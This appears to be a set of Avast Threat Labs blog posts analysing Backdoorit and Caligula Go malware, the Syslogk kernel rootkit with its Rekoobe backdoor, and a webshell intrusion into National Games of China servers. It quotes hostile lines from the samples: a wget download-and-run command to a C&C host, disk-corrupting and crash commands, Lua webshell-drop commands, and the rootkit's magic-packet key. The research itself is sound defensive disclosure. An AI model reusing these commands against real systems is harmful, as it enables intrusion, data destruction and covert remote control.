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Before yesterdayAvast Threat Labs

Go malware on the rise

13 July 2022 at 13:35

Introduction

The Go programming language is becoming more and more popular. One of the reasons being that Go programs can be compiled for multiple operating systems and architectures in a single binary self containing all needed dependencies. Based on these properties, and as we expected, we observed an increase in the number of malware and gray tools written in Go programming language in the last months. We are discovering new samples weekly.

For instance, in late April, we discovered two new strains in our internal honeypots, namely Backdoorit and Caligula, both of which were at that time undetected on VT.

Both of these malware strains are multiplatform bots compiled for many different processor architectures and written in the Go programming language.

Analyzing Backdoorit

Backdoorit (version 1.1.51562578125) is a multiplatform RAT written in Go programming language and supporting both Windows and Linux/Unix operating systems. In many places in the code it’s also referred to as backd00rit.

Based on the close inspection of the analyse-full command of Backdoorit, we concluded that the main purpose of this malware is stealing Minecraft related files, Visual Studio and Intellij projects.

But the malware is not limited just to those files. Some commands (upload, basharchive, bashupload and so on) allow it to steal arbitrary files and information, install other malware in the system or run arbitrary commands (run, run-binary, etc.) and take screenshots of the user activity (screenshot, ssfile and so on).

Evidence indicates that the Backdoorit developer is not a native English speaker, further pointing to a possible Russian threat actor. The comments and strings in the code are mostly written in English but often grammatically incorrect. For instance, we found the message: β€œAn confirmation required, run ”. We also discovered some isolated strings written in the Russian language.

In addition to the aforementioned strings we also observed that, amongst others, the VimeWorld files (a Russian project that offers Minecraft servers) are being targeted. This further leads us to believe the Russian origin of the threat actor behind this malware.

After running Backdoorit the RAT retrieves some basic environment information such as the current operating system and the name of the user. It then continuously tries to connect to a C&C server to give the attacker access to a shell.

The malware logs all executed operations and taken steps via a set of backd00r1t_logging_* functions. Those logs can be uploaded to the server of the attacker either by using uploadlogs and uploadlogs-file shell commands or automatically in case a Go panic exception is raised.

In such case backd00r1t_backdoor_handlePanic handles the exception and performs the following actions:

  1. It first sends the logs to the endpoint /api/logs of the C&C server with a JSON request structure as defined in the function: backd00r1t_api_SendLogs.
  2. It closes the connection with the C&C server.
  3. It attempts to reconnect again.

The mentioned handler helps to keep the bot connected and also allows the attacker to remotely follow the execution trace.

Once the connection to C&C succeeds, the attacker gets the context information listed below. The function backd00r1t_backdoor_SocketConnectionHandle is responsible for handling all the commands supported by this RAT and first calls to backd00r1t_backdoor_printMotd for displaying such information:

  • Last connected time
  • The Backdoorit version
  • Process
  • Active connections
  • User name
  • User home
  • User id
  • Login
  • Gid
  • Process path
  • Modules Autostart state


The shell allows the threat actor to remotely execute arbitrary commands. The first command that is likely to be run is the analyse-full command because it generates a report.txt file containing the Desktop, Documents, Downloads, Minecraft and VimeWorld folder file trees and uploads the mentioned report and both Visual Studio and IntelliJ projects folders contents, to Bashupload, a web service allowing to upload files from command line with a storage limitation of 50GB.

As mentioned earlier, if the attacker chooses to do so, he/she will be also able to implant other malware in the system. The threat actor can use the commands: run-binary (a command for downloading and executing a script), shell (a command allowing to spawn the operating system shell and execute arbitrary commands) or other available commands.

The malware also contains a sort of a β€œkill-switch” that can be triggered by the exploit command, but in this case this does not simply remove the malware itself, but has the ability to crash the Windows operating system by exploiting CVE-2021-24098 and also corrupt the NTFS of the hard disk via CVE-2021-28312 on vulnerable systems. This leads to complete loss of file information (including size, time and date stamps, permissions and data content) as well as, of course, removing evidence of the infection.

There are many more commands implemented in the shell that you can check at the corresponding section of the Appendix. As you will notice, the malware incorporates a checkupdates command so we may expect to see new versions of Backdoorit soon.

Analyzing Caligula

Caligula is a new IRC multiplatform malicious bot that allows to perform DDoS attacks.

The malware was written in Go programming language and distributed in ELF files targeting several different processor architectures:

  • Intel 80386 32-bit
  • ARM 32-bit
  • PowerPC 64-bit
  • AMD 64-bit

It currently supports Linux and Windows platforms via WSL and uses the function os_user_Current for determining the underlying operating system.

Caligula is based on the Hellabot open source project, an easily modifiable event based IRC bot with the ability to be updated without losing connection to the server.

Of course, more code reuse was found in the Caligula coming from open source projects (log15, fd, go-shellwords, go-isatty and go-colorable) but the core functionality is based on Hellabot.

All the samples that we hunted in the wild are prepared to connect to the same hardcoded IRC channel by using the following data:

  • Host: 45.95.55.24:6667
  • Channel: #caligula
  • Username: It is composed of the platform, current user and a pseudo-random number.
    • e.g. [LINUX]kali-11066

As shown in the following screenshot, the bot is prepared for joining the Caligula IRC Net v1.0.0 botnet.

Caligula IRC Net v1.0.0 is a botnet ready for flooding. The bots offers to the attacker the following attacks:

Attack Description
udp udp flood with limited options.
http http flood with no options at all.
syn syn flood.
handshake handshake flood.
tcp tcp flood.

For more information on how Caligula bot source code is organized, check the source code file listing available in the appendix. It can be useful for getting a high level perspective on the malware design, notice that new attack methods can be easily added to it and identify the Caligula malware family.

Conclusion

Due to its native multiplatform support and relative ease of development, the use of Go programming language for malicious purposes is currently growing, especially in malware targeting Unix/Linux operating systems.

Naturally with the growing interest and community around the Go programming language, some of the malicious tools are being open sourced on Github and resued by different threat actors.

In this instance, we were one of the firsts in hunting and detecting Backdoorit and Caligula.

Appendix

Backdoorit shell commands reference

Command syntax Description
shell This command spawns a shell. For Windows platforms, if available, it executes Powershell. Otherwise it executes the Command prompt. For the rest of the platforms, it spawns a Bash Unix shell.
help Shows the help containing the available commands but also some status information.
toggle-path Enables or disables showing the toggle path.
bell Enables or disables the bell sound.
clear-fallback Clears the screen.
background-logs Asks to the attacker for the buffer size and the maximum buffer size in order to store the logs in background.
backdoor Shows the RAT information: BuiltCodenameVersionReconnect time
clear-code Resets any style property of the font by using the ANSI Escape Codes : \x1B[0J
clear-color Clears the shell coloring.
colors / color Enables or Disables the shell coloring.
un-export [env][fir][key][url] Removes an environment variable.
export Adds an environment variable.
mkdir [path] Creates a folder for the specified path.
exit Exits.
wcd Prints the working directory.
motd Prints the following information: Last connected time. The Backdoorit version. ProcessActiveConnectionsUser nameUser homeUser idLoginGidProcess path The modules Autostart state.
get-asset [asset] Access to an asset (those are identified by string and accessed via GO language mapaccess1_faststr function)
extract-asset [asset] (path) Extracts an asset to the specified path.
safe Allows to disable safe mode
open-file Open file.
open Open url in browser.
list-windows-disks List disks (command available for Windows systems)
cp [target] [dist] Copy file.
rm Removes a file or a folder and all its content.
If the attacker is trying to remove the entire current folder, the agent asks her/him for preventing the human error.
cd Changes the working directory.
ls It shows the modification date, Filename and Size.
cat [file][path] Read file.
checkupdates It asks for the version to the endpoint: /api/version
If there is a new version available for the appropriate operating system, then it downloads it by using wget:
wget -O app –user nnstd –password access http://185.174.136.162/4ejski_bejenec && chmod +x app && ((./app) &)
exploit [exploit] […args] Runs an exploit. It currently supports the following exploits: windows/crash/uncIt crashes Windows by accessing the file:
\\.\globalroot\device\condrv\kernelconnectwindows/destroy/i30It corrupts the drive by executing the following command: cd C:\\:$i30:$bitmap
autostart It persists the payload by modifying the following files: .bashrc .profile .zshrc .bash_profile .config/fish/config.fish This command enables the internal flag: backd00r1t_modules_autostart_state
autostart-update Update autostart.
exec [cmd] […args] Executes a command with the specified arguments.
sysinfo {detailed} Shows the following system information:
WorkingDirectory, Command line, User, Terminal
neofetch / screenfetch Shows the following system information: CPU Info: Family, Vendor, PhysicalID. CoresHost InfoUptime, OS, Platform, Platform Family, Platform Version, Host ID, Kernel Arch, Kernel Version,Β Network Interfaces Info: HW Addr, Flags, Index
Screenshot / ssfile / screen It creates a screenshot, and stores it in a PNG file located in one of the following directories. It depends on the platform: Windows: C:\Users\{username}\AppData\Local\Temp Linux: /tmp/ Finally, the screenshot is uploaded and, after that, it removes the file from disk.
archiveapi It creates a file following the format:
tmp-archive-{current_date}.gdfgdgd For Windows platforms: C:\\Users\\{username}\\AppData\\Local\\Temp For Linux platforms: /tmp/ The function removes the previous file in case a file with the same name does exist. Then it sends the file and after that, removes the file
Create-archive [output] [target] Create archive with files from target in output.
Uploadapi [file][path] Automatically uploads the file specified to predefined servers.
uploadlogs-file Uses the /api/upload API endpoint for uploading the file agent.log
uploadlogs It sends the logs to the API endpoint /api/logs in JSON format.
upload [url] [file] Upload file to Server (HTTP).
bashupload [file][path] Automatically upload file to https://bashupload.com/
bashdownload Access the file in https://bashupload.com/ with the parameter: ?download=1
bashupload-parse [file][path] Automatically upload file to https://bashupload.com/ and get direct link
basharchive [target] Create archive and upload it to bashupload.com:
https://bashupload.com/backdoor-archive.zip
download Downloads a file.
bashdownload [url] Downloads the file by querying the url: https://bashupload.com/
With the parameter: ?download=1
run [url] Download script and run it.
run-binary Download script, and run it. Currently, it only supports Windows platforms. It downloads the run-script.ps1 file to a temporary folder and executes it.
cls Clear screen.
$STOP This command stops Backdoorit.
analyse-full It creates a report report.txt containing:{USERHOME}\source\repos{USERHOME}\IdeaProjectsDesktop file tree Documents file tree Downloads file tree AppData\Roaming\.minecraft file tree AppData\Roaming\.vimeworld file tree. It uploads the files in Visual Studio repos folder and IntelliJ projects folder via backd00r1t_analyze_uploadDirectorybut also a report of the files in the main computer folders via backd00r1t_analyze_uploadFile

Backdoorit bot source code listing

  • H:/backdoorIt//injected/backdoor/BackdoorEnvironment.go
  • H:/backdoorIt//injected/backdoor/BackgroundTasks.go
  • H:/backdoorIt//injected/backdoor/CommandHelpers.go
  • H:/backdoorIt//injected/backdoor/ConnectionHandler.go
  • H:/backdoorIt//injected/files/Assets.go
  • H:/backdoorIt//injected/api/Configuration.go
  • H:/backdoorIt//injected/backdoor/ExecHandlers.go
  • H:/backdoorIt//injected/backdoor/ExecHandlers__linux.go
  • H:/backdoorIt//injected/backdoor/main.go
  • H:/backdoorIt//injected/launcher/main.go

Caligula bot source code listing

  • /root/irc/bot/attack/attack.go
  • /root/irc/bot/attack/methods.go
  • /root/irc/bot/attack/parser.go
  • /root/irc/bot/attack/flags.go
  • /root/irc/bot/network/header.go
  • /root/irc/bot/network/ip.go
  • /root/irc/bot/network/tcp.go
  • /root/irc/bot/routine/timedRoutine.go
  • /root/irc/bot/attack/methods/httpflood.go
  • /root/irc/bot/attack/methods/sshflood.go
  • /root/irc/bot/attack/methods/synflood.go
  • /root/irc/bot/attack/methods/tcpflood.go
  • /root/irc/bot/attack/methods/udpflood.go
  • /root/irc/bot/handle.go
  • /root/irc/bot/singleInstance/singleinstance.go
  • /root/irc/bot.go

IoCs

Backdoorit

  • 34366a8dab6672a6a93a56af7e27722adc9581a7066f9385cd8fd0feae64d4b0

Caligula

  • 147aac7a9e7acfd91edc7f09dc087d1cd3f19c4f4d236d9717a8ef43ab1fe6b6
  • 1945fb3e2ed482c5233f11e67ad5a7590b6ad47d29c03fa53a06beb0d910a1a0
  • 4a1bb0a3a83f56b85f5eece21e96c509282fec20abe2da1b6dd24409ec6d5c4d
  • 6cfe724eb1b1ee1f89c433743a82d521a9de87ffce922099d5b033d5bfadf606
  • 71b2c5a263131fcf15557785e7897539b5bbabcbe01f0af9e999b39aad616731
  • 99d523668c1116904c2795e146b2c3be6ae9db67e076646059baa13eeb6e8e9b
  • fe7369b6caf4fc755cad2b515d66caa99ff222c893a2ee8c8e565121945d7a9c
  • 97195b683fb1f6f9cfb6443fbedb666b4a74e17ca79bd5e66e5b4e75e609fd22
  • edcfdc1aa30a94f6e12ccf3e3d1be656e0ec216c1e852621bc11b1e216b9e001

The complete Backdoorit and Caligula IoCs are in our IoC repository.

The post Go malware on the rise appeared first on Avast Threat Labs.

Linux Threat Hunting: β€˜Syslogk’ a kernel rootkit found under development in the wild

Introduction

Rootkits are dangerous pieces of malware. Once in place, they are usually really hard to detect. Their code is typically more challenging to write than other malware, so developers resort to code reuse from open source projects. As rootkits are very interesting to analyze, we are always looking out for these kinds of samples in the wild.

Adore-Ng is a relatively old, open-source, well-known kernel rootkit for Linux, which initially targeted kernel 2.x but is currently updated to target kernel 3.x. It enables hiding processes, files, and even the kernel module, making it harder to detect. It also allows authenticated user-mode processes to interact with the rootkit to control it, allowing the attacker to hide many custom malicious artifacts by using a single rootkit.

In early 2022, we were analyzing a rootkit mostly based on Adore-Ng that we found in the wild, apparently under development. After obtaining the sample, we examined the .modinfo section and noticed it is compiled for a specific kernel version.

As you may know, even if it is possible to β€˜force load’ the module into the kernel by using the --force flag of the insmod Linux command, this operation can fail if the required symbols are not found in the kernel; this can often lead to a system crash.

insmod -f {module}

We discovered that the kernel module could be successfully loaded without forcing into a default Centos 6.10 distribution, as the rootkit we found is compiled for a similar kernel version.

While looking at the file’s strings, we quickly identified the PgSD93ql hardcoded file name in the kernel rootkit to reference the payload. This payload file name is likely used to make it less obvious for the sysadmin, for instance, it can look like a legitimate PostgreSQL file.

Using this hardcoded file name, we extracted the file hidden by the rootkit. It is a compiled backdoor trojan written in C programming language; Avast’s antivirus engine detects and classifies this file as ELF:Rekoob – which is widely known as the Rekoobe malware family. Rekoobe is a piece of code implanted in legitimate servers. In this case it is embedded in a fake SMTP server, which spawns a shell when it receives a specially crafted command. In this post, we refer to this rootkit as Syslogk rootkit, due to how it β€˜reveals’ itself when specially crafted data is written to the file /proc/syslogk .

Analyzing the Syslogk rootkit

The Syslogk rootkit is heavily based on Adore-Ng but incorporates new functionalities making the user-mode application and the kernel rootkit hard to detect.

Loading the kernel module

To load the rootkit into kernel space, it is necessary to approximately match the kernel version used for compiling; it does not have to be strictly the same.

vermagic=2.6.32-696.23.1.el6.x86_64 SMP mod_unload modversions

For example, we were able to load the rootkit without any effort in a Centos 6.10 virtual machine by using the insmod Linux command.

After loading it, you will notice that the malicious driver does not appear in the list of loaded kernel modules when using the lsmod command.

Revealing the rootkit

The rootkit has a hide_module function which uses the list_del function of the kernel API to remove the module from the linked list of kernel modules. Next, it also accordingly updates its internal module_hidden flag.

Fortunately, the rootkit has a functionality implemented in the proc_write function that exposes an interface in the /proc file system which reveals the rootkit when the value 1 is written into the file /proc/syslogk.

Once the rootkit is revealed, it is possible to remove it from memory using the rmmod Linux command. The Files section of this post has additional details that will be useful for programmatically uncloaking the rootkit.

Overview of the Syslogk rootkit features

Apart from hiding itself, making itself harder to detect when implanted, Syslogk can completely hide the malicious payload by taking the following actions:

  • The hk_proc_readdir function of the rootkit hides directories containing malicious files, effectively hiding them from the operating system.
  • The malicious processes are hidden via hk_getpr – a mix of Adore-Ng functions for hiding processes.
  • The malicious payload is hidden from tools like Netstat; when running, it will not appear in the list of services. For this purpose, the rootkit uses the function hk_t4_seq_show.
  • The malicious payload is not continuously running. The attacker remotely executes it on demand when a specially crafted TCP packet (details below) is sent to the infected machine, which inspects the traffic by installing a netfilter hook.
  • It is also possible for the attacker to remotely stop the payload. This requires using a hardcoded key in the rootkit and knowledge of some fields of the magic packet used for remotely starting the payload.Β 

We observed that the Syslogk rootkit (and Rekoobe payload) perfectly align when used covertly in conjunction with a fake SMTP server. Consider how stealthy this could be; a backdoor that does not load until some magic packets are sent to the machine. When queried, it appears to be a legitimate service hidden in memory, hidden on disk, remotely β€˜magically’ executed, hidden on the network. Even if it is found during a network port scan, it still seems to be a legitimate SMTP server.

For compromising the operating system and placing the mentioned hiding functions, Syslogk uses the already known set_addr_rw and set_addr_ro rootkit functions, which adds or removes writing permissions to the Page Table Entry (PTE) structure.

After adding writing permissions to the PTE, the rootkit can hook the functions declared in the hks internal rootkit structure.

PTE Hooks
Type of the function Offset Name of the function
Original hks+(0x38) * 0 proc_root_readdir
Hook hks+(0x38) * 0 + 0x10 hk_proc_readdir
Original hks+(0x38) * 1 tcp4_seq_show
Hook hks+(0x38) * 1 + 0x10 hk_t4_seq_show
Original hks+(0x38) * 2 sys_getpriority
Hook hks+(0x38) * 2 + 0x10 hk_getpr

The mechanism for placing the hooks consists of identifying the hookable kernel symbols via /proc/kallsyms as implemented in the get_symbol_address function of the rootkit (code reused from this repository). After getting the address of the symbol, the Syslogk rootkit uses the udis86 project for hooking the function.

Understanding the directory hiding mechanism

The Virtual File System (VFS) is an abstraction layer that allows for FS-like operation over something that is typically not a traditional FS. As it is the entry point for all the File System queries, it is a good candidate for the rootkits to hook.

It is not surprising that the Syslogk rootkit hooks the VFS functions for hiding the Rekoobe payload stored in the file /etc/rc-Zobk0jpi/PgSD93ql .

The hook is done by hk_root_readdir which calls to nw_root_filldir where the directory filtering takes place.

As you can see, any directory containing the substring -Zobk0jpi will be hidden.

The function hk_get_vfs opens the root of the file system by using filp_open. This kernel function returns a pointer to the structure file, which contains a file_operations structure called f_op that finally stores the readdir function hooked via hk_root_readdir.

Of course, this feature is not new at all. You can check the source code of Adore-Ng and see how it is implemented on your own.

Understanding the process hiding mechanism

In the following screenshot, you can see that the Syslogk rootkit (code at the right margin of the screenshot) is prepared for hiding a process called PgSD93ql. Therefore, the rootkit seems more straightforward than the original version (see Adore-Ng at the left margin of the screenshot). Furthermore, the process to hide can be selected after authenticating with the rootkit.

The Syslogk rootkit function hk_getpr explained above, is a mix of adore_find_task and should_be_hidden functions but it uses the same mechanism for hiding processes.

Understanding the network traffic hiding mechanism

The Adore-Ng rootkit allows hiding a given set of listening services from Linux programs like Netstat. It uses the exported proc_net structure to change the tcp4_seq_show( ) handler, which is invoked by the kernel when Netstat queries for listening connections. Within the adore_tcp4_seq_show() function, strnstr( ) is used to look in seq->buf for a substring that contains the hexadecimal representation of the port it is trying to hide. If this is found, the string is deleted.

In this way, the backdoor will not appear when listing the connections in an infected machine. The following section describes other interesting capabilities of this rootkit.

Understanding the magic packets

Instead of continuously running the payload, it is remotely started or stopped on demand by sending specially crafted network traffic packets.

These are known as magic packets because they have a special format and special powers. In this implementation, an attacker can trigger actions without having a listening port in the infected machine such that the commands are, in some way, β€˜magically’ executed in the system.

Starting the Rekoobe payload

The magic packet inspected by the Syslogk rootkit for starting the Rekoobe fake SMTP server is straightforward. First, it checks whether the packet is a TCP packet and, in that case, it also checks the source port, which is expected to be 59318.

Rekobee will be executed by the rootkit if the magic packet fits the mentioned criteria.

Of course, before executing the fake service, the rootkit terminates all existing instances of the program by calling the rootkit function pkill_clone_0. This function contains the hardcoded process name PgSD93ql;Β  it only kills the Rekoobe process by sending the KILL signal via send_sig.

To execute the command that starts the Rekoobe fake service in user mode, the rootkit executes the following command by combining the kernel APIs: call_usermodehelper_setup, call_usermodehelper_setfns, and call_usermodehelper_exec.

/bin/sh -c /etc/rc-Zobk0jpi/PgSD93ql

The Files section of this post demonstrates how to manually craft (using Python) the TCP magic packet for starting the Rekoobe payload.

In the next section we describe a more complex form of the magic packet.

Stopping the Rekoobe payload

Since the attacker doesn’t want any other person in the network to be able to kill Rekoobe, the magic packet for killing Rekoobe must match some fields in the previous magic packet used for starting Rekoobe. Additionally, the packet must satisfy additional requirements – it must contain a key that is hardcoded in the rootkit and located in a variable offset of the magic packet. The conditions that are checked:

  1. It checks a flag enabled when the rootkit executes Rekoobe via magic packets. It will only continue if the flag is enabled.
  2. It checks the Reserved field of the TCP header to see that it is 0x08.
  3. The Source Port must be between 63400 and 63411 inclusive.
  4. Both the Destination Port and the Source Address, must to be the same that were used when sending the magic packet for starting Rekoobe.
  5. Finally, it looks for the hardcoded key. In this case, it is: D9sd87JMaij

The offset of the hardcoded key is also set in the packet and not in a hardcoded offset; it is calculated instead. To be more precise, it is set in the data offset byte (TCP header) such that after shifting the byte 4 bits to the right and multiplying it by 4, it points to the offset of where the Key is expected to be (as shown in the following screenshot, notice that the rootkit compares the Key in reverse order).

In our experiments, we used the value 0x50 for the data offset (TCP header) because after shifting it 4 bits, you get 5 which multiplied by 4 is equal to 20. Since 20 is precisely the size of the TCP Header, by using this value, we were able to put the key at the start of the data section of the packet.

If you are curious about how we implemented this magic packet from scratch, then please see the Files section of this blog post.

Analyzing Rekoobe

When the infected machine receives the appropriate magic packet, the rootkit starts the hidden Rekoobe malware in user mode space.

It looks like an innocent SMTP server, but there is a backdoor command on it that can be executed when handling the starttls command. In a legitimate service, this command is sent by the client to the server to advise that it wants to start TLS negotiation.

For triggering the Rekoobe backdoor command (spawning a shell), the attacker must send the byte 0x03 via TLS, followed by a Tag Length Value (TLV) encoded data. Here, the tag is the symbol %, the length is specified in four numeric characters, and the value (notice that the length and value are arbitrary but can not be zero).

Additionally, to establish the TLS connection, you will need the certificate embedded in Rekoobe.

See the Files section below for the certificate and a Python script we developed to connect with Rekoobe.

The origin of Rekoobe payload and Syslogk rootkit

Rekoobe is clearly based on the TinySHell open source project; this is based on ordering observed in character and variables assignment taking place in the same order multiple times.

On the other hand, if you take a look at the Syslogk rootkit, even if it is new, you will notice that there are also references to TinySHell dating back to December 13, 2018.

The evidence suggests that the threat actor developed Rekoobe and Syslogk to run themΒ  together. We are pleased to say that our users are protected and hope that this research assists others.

Conclusions

One of the architectural advantages of security software is that it usually has components running in different privilege levels; malware running on less-privileged levels cannot easily interfere with processes running on higher privilege levels, thus allowing more straightforward dealing with malware.

On the other hand, kernel rootkits can be hard to detect and remove because these pieces of malware run in a privileged layer. This is why it is essential for system administrators and security companies to be aware of this kind of malware and write protections for their users as soon as possible.

IoCs

Syslogk sample

  • 68facac60ee0ade1aa8f8f2024787244c2584a1a03d10cda83eeaf1258b371f2

Rekoobe sample

  • 11edf80f2918da818f3862246206b569d5dcebdc2a7ed791663ca3254ede772d

Other Rekoobe samples

  • fa94282e34901eba45720c4f89a0c820d32840ae49e53de8e75b2d6e78326074
  • fd92e34675e5b0b8bfbc6b1f3a00a7652e67a162f1ea612f6e86cca846df76c5
  • 12c1b1e48effe60eef7486b3ae3e458da403cd04c88c88fab7fca84d849ee3f5
  • 06778bddd457aafbc93d384f96ead3eb8476dc1bc8a6fbd0cd7a4d3337ddce1e
  • f1a592208723a66fa51ce1bc35cbd6864e24011c6dc3bcd056346428e4e1c55d
  • 55dbdb84c40d9dc8c5aaf83226ca00a3395292cc8f884bdc523a44c2fd431c7b
  • df90558a84cfcf80639f32b31aec187b813df556e3c155a05af91dedfd2d7429
  • 160cfb90b81f369f5ba929aba0b3130cb38d3c90d629fe91b31fdef176752421
  • b4d0f0d652f907e4e77a9453dcce7810b75e1dc5867deb69bea1e4ecdd02d877
  • 3a6f339df95e138a436a4feff64df312975a262fa16b75117521b7d6e7115d65
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Files

Syslogk research tools

Rekoobe research tool

IoC repository

The Syslogk and Rekoobe rootkit research tools and IoCs are in our IoC repository.

The post Linux Threat Hunting: β€˜Syslogk’ a kernel rootkit found under development in the wild appeared first on Avast Threat Labs.

Analysis of Attack Against National Games of China Systems

Introduction

On September 15, 2021 the National Games of China began in the Chinese city of Shaanxi. It is an event similar if not identical to the Olympics, but only hosts athletes from China. Earlier in September, our colleague David Álvarez found a malware sample with a suspicious file extension of a picture and decided to investigate where it came from. Later, he also found a report of the incident from the National Games IT team on VirusTotal stating that the attack occurred before the Games started. Attached to the report were access logs from the web-server and SQL database. By analyzing these logs, we gathered initial information about the attack. These logs only include request path, and sadly do not reveal content of POST requests much needed to fully understand what commands attackers sent to their web shells, but even with this limited information we were able to outline the attack and determine the initial point of intrusion with moderate confidence.

In this posting, we are sharing our own research on the incident, the samples and the exploits used by the attackers, detailing what appears to be a successful breach of systems hosting content for the National Games prior to the event. We based our research on publicly accessible information about the incident. The analyzed samples were already present on VirusTotal.

Based on the initial information from the report and our own findings, it appears the breach was successfully resolved prior to the start of the games. We are unable to detail what actions the attackers may have taken against the broader network. We also are unable to make any conclusive attribution of the attackers, though have reason to believe they are either native Chinese-language speakers or show high fluency in Chinese.

Gaining access

The evidence indicates that the attackers gained initial code execution at around 10:00AM local time on September 3, 2021 and installed their first reverse shell executing scripts called runscript.lua. We suspect that the way this happened is via an arbitrary file-read exploit targeting either route.lua which, according to the API (Application User Interface) extracted from various JavaScript files, is a LUA script containing a lot of functionality from handling login authentication to manipulation of files or index.lua in combination with index.lua?a=upload API that was not used by anyone else in the rest of the network log. It’s also worth noting that runscript.lua was not mentioned in the report or included in the attacker uploaded files.

After gaining initial access the attackers uploaded several other reverse shells such as conf.lua, miss1.php or admin2.php (see table 2 for source code) to gain a more permanent foothold in the network in case one of the shells got discovered. These reverse shells get commands via a POST request, thus the data is not present in the logs attached with the report as they only contain the URL path.

In the screenshot we can see that the attackers were getting a lot of data returned to them from the backdoors (highlighted)

Even more so the logs in the report don’t contain full information about the network traffic such that we could with certainty determine how and when the attackers gained their first web shell. We estimated our findings by looking for a point in time from which they uploaded and interacted with the first custom web shell we can find.

What they did there

The attackers started doing some tests on what they were able to upload to the server. From August 26, 2021 to September 9, 2021 the attackers tried submitting files with different file-types and also file extensions. For instance, they submitted the same legitimate image ( 7775b6a45da80c1a8a0f8e044c34be823693537a0635327b967cc8bff3cb349a) with different file extensions: ico, lua, js, luac, txt, html and rar.

After gaining knowledge on blocked and allowed file types, they tried to submit executable code. Of course, they started submitting PoCs instead of directly executing a webshell because submitting PoCs is more stealthy and also allows one to gain knowledge on what the malicious code is allowed to do. For instance, one of the files uploaded was this Lua script camouflaged as an image (20210903-160250-168571-ab1c20.jpg):

os.execute("touch","/tmp/test.miss")

Taking advantage of the Lua io.popen function, which executes a command and returns process output, the attackers used variants of the following command camouflaged as images to test different webshells:

io.popen("echo 'Base64EncodedWebshell' |base64 -dΒ  > ../mod/remote/miss.php")

They tested different Chinese webshells (i.e. Godzilla webshell), but this information is not enough to confidently attribute the attack to any threat actor.

The attackers decided to reconfigure the web server by uploading their own www.conf file camouflaged as a PNG file consisting of a default configuration but allowing the .lua extension to be executed. We suspect that the server was configured to execute new threads in a thread pool which didn’t work for Rebeyond Behinder (a powerful Chinese webshell) they wanted to execute. They were not able to successfully reconfigure the server to execute it. So, as final payload, they uploaded and ran an entire Tomcat server properly configured and weaponized with Rebeyond Behinder.

It is important to mention that they were able to upload some tools (dnscrypt-proxy, fscan, mssql-command-tool, behinder) to the server and execute a network scanner (fscan) and a custom one-click exploitation framework that we want to discuss below in more detail.

The aforementioned Chinese scanner and exploitation framework is written in Go programming language and distributed as a single binary, which allows to execute all the steps of exploitation by simply feeding it with an IP or a range of IPs (those can be passed as arguments to the program or using a text file) which makes of it an excellent tool to quickly hack computer systems belonging a network environment.

The tool is well organized. It is structured with plugins that allow it to perform all the necessary steps to autonomously hack other devices within the same network.

  1. Plugins/Web/Finger: Performs a fingerprint to recognize services. Currently, it supports the following fingerprints: IBM, Jboss, shiro, BIG-IP, RuiJie, Tomcat, Weaver, jeecms, seeyon, shterm, tongda, zentao, Ueditor, ioffice, outlook, yongyou, Coremail, easysite, FCKeditor, Fortigate, FineReport, SangforEDR, Springboot, thinkphp_1, thinkphp_2, thinkphp_3, thinkphp_4, easyConnect and weblogic_async.
  2. Plugins/Service: Attacks services in order to get access to it. Currently, it supports the following services: ssh, smb, redis, mysql, mssql, ms17010 (EternalBlue SMB exploit) and ftp.
  3. Plugins/PwdTxt: Lists of both, username and password, short dictionaries for each service in Plugins/Service allowing to perform a brief brute force attack on the service.
  4. Plugins/Web/Poc: Modules to exploit common web applications. Currently, it supports the following exploits: Jeecms_SSRF1, yongyou_rce1, RuiJie_RCE1, outlook_ews, thinkphp_RCE1, thinkphp_RCE2, thinkphp_RCE3, thinkphp_RCE4, thinkphp_RCE5, thinkphp_RCE6, RuiJie_Upload1, Weaver_Upload1, yongyou_upload1, weblogic_console, phpstudy_backdoor, yongyou_readFile1, Jboss_unAuthConsole, Jboss_CVE_2017_12149, weblogic_CVE_2019_2618.

An example of a Plugin is plugins/Web/Poc/Weblogic_CVE_2019_2618.Β 

In the left side of the following screenshot you can see a scan executed in our lab, targeting a Python server (terminal in the right side of the screenshot) with the exploit payload request highlighted in a red rectangle.

For more information on the payloads, please, refer to IoCs, Table 2.

Conclusion

The procedure followed by the attackers hacking the 14th National Games of China is not new at all. They gained access to the system by exploiting a vulnerability in the web server. This shows the need for updating software, configuring it properly and also being aware of possible new vulnerabilities in applications by using vulnerability scanners.

The most fundamental security countermeasure for defenders consists in keeping the infrastructure up-to-date in terms of patching. Especially for the Internet facing infrastructure.

Prevention should be the first priority for both internal and Internet facing infrastructure.

Webshells are a post exploitation tool that can be very difficult to detect. Some webshells don’t even touch the filesystem residing only in memory; this can make it even harder to detect and identify. After implanting, webshells are mostly identified via unusual network traffic or anomalous network traffic indicators.

To protect against this kind of attack, it is important to deploy more layers of protection (i.e. SELinux, Endpoint Detection and Response solutions and so on) such that you can detect and quickly act when a successful intrusion happens.

After gaining access, the attackers tried to move through the network using exploits and bruteforcing services in an automated way. Since getting to this point is very possible for attackers, defenders must be prepared. Real Time monitoring of computer systems and networks is the right way to do that.

Finally, the attackers used an exploitation framework written in the Go programming language to move through the network. Go is a programming language becoming more and more popular which can be compiled for multiple operating systems and architectures, in a single binary self-containing all dependencies. So we expect to see malware and grey tools written in this language in future attacks, especially in IoT attacks where a broad variety of devices leveraging different kinds of processor architectures are involved.

IoCs

SHA + original filename Description
0c6ae9de10bee6568ec3ad24918c829b7e5132cc0dd1665d4bbf1c3fe84451b6
20210902-104211-659035-88486d.zip
Encrypted ZIP file
0d1504a9ae319bdc320f938d2cdf72cba18277b3f2b311abf0bacad2517dabc0
20210903-163606-280628-0a82f3.txt
Shellcode dropper
cac30cc2f4646979d0be8b4d5f3a1f87351b3bb77f22e5064bd034cec9e119bb
20210903-170452-952751-b9106e.txt
Single line shellcode
0aeb963b4566dc2224d34b4885336c666198db2ac64c810586ce3b17ef3da59f
20210903-171141-909389-0f6e83.txt
Rebeyond shellcode dropper
dffa7e31797339f3ce7ec453161b60010eda3dd2e52aa9f147ab4389672c3536
20210903-194355-378055-c6cb9c.txt
Shellcode dropper
bdd4d0bb36d07ae6b97ffbcd386c54e1b15fefe65329ff0389dfd5739cd3cff2
20210904-122732-780555-5c07b2.rar
UPX compressed Mssql Toolkit
3a8dc7e730a1f82f65f1731cb31e05e2f749a9e89ab8529168a082d24680d2dd
20210904-153039-541730-a843fe.zip
FScan for Linux
ec8aef085d3cc57a4e92a613e128f2d9c7b5f03b8e017dd80d89bfeada228639
20210904-160830-117786-b5cab7.rar
20210904-161031-883832-c50992.rar
Custom exploitation framework
2cab3b0391bf3ace689fc697f522b3c86411e059ab8c1f4f5b7357b484b93035
20210904-164301-268472-915428.zip
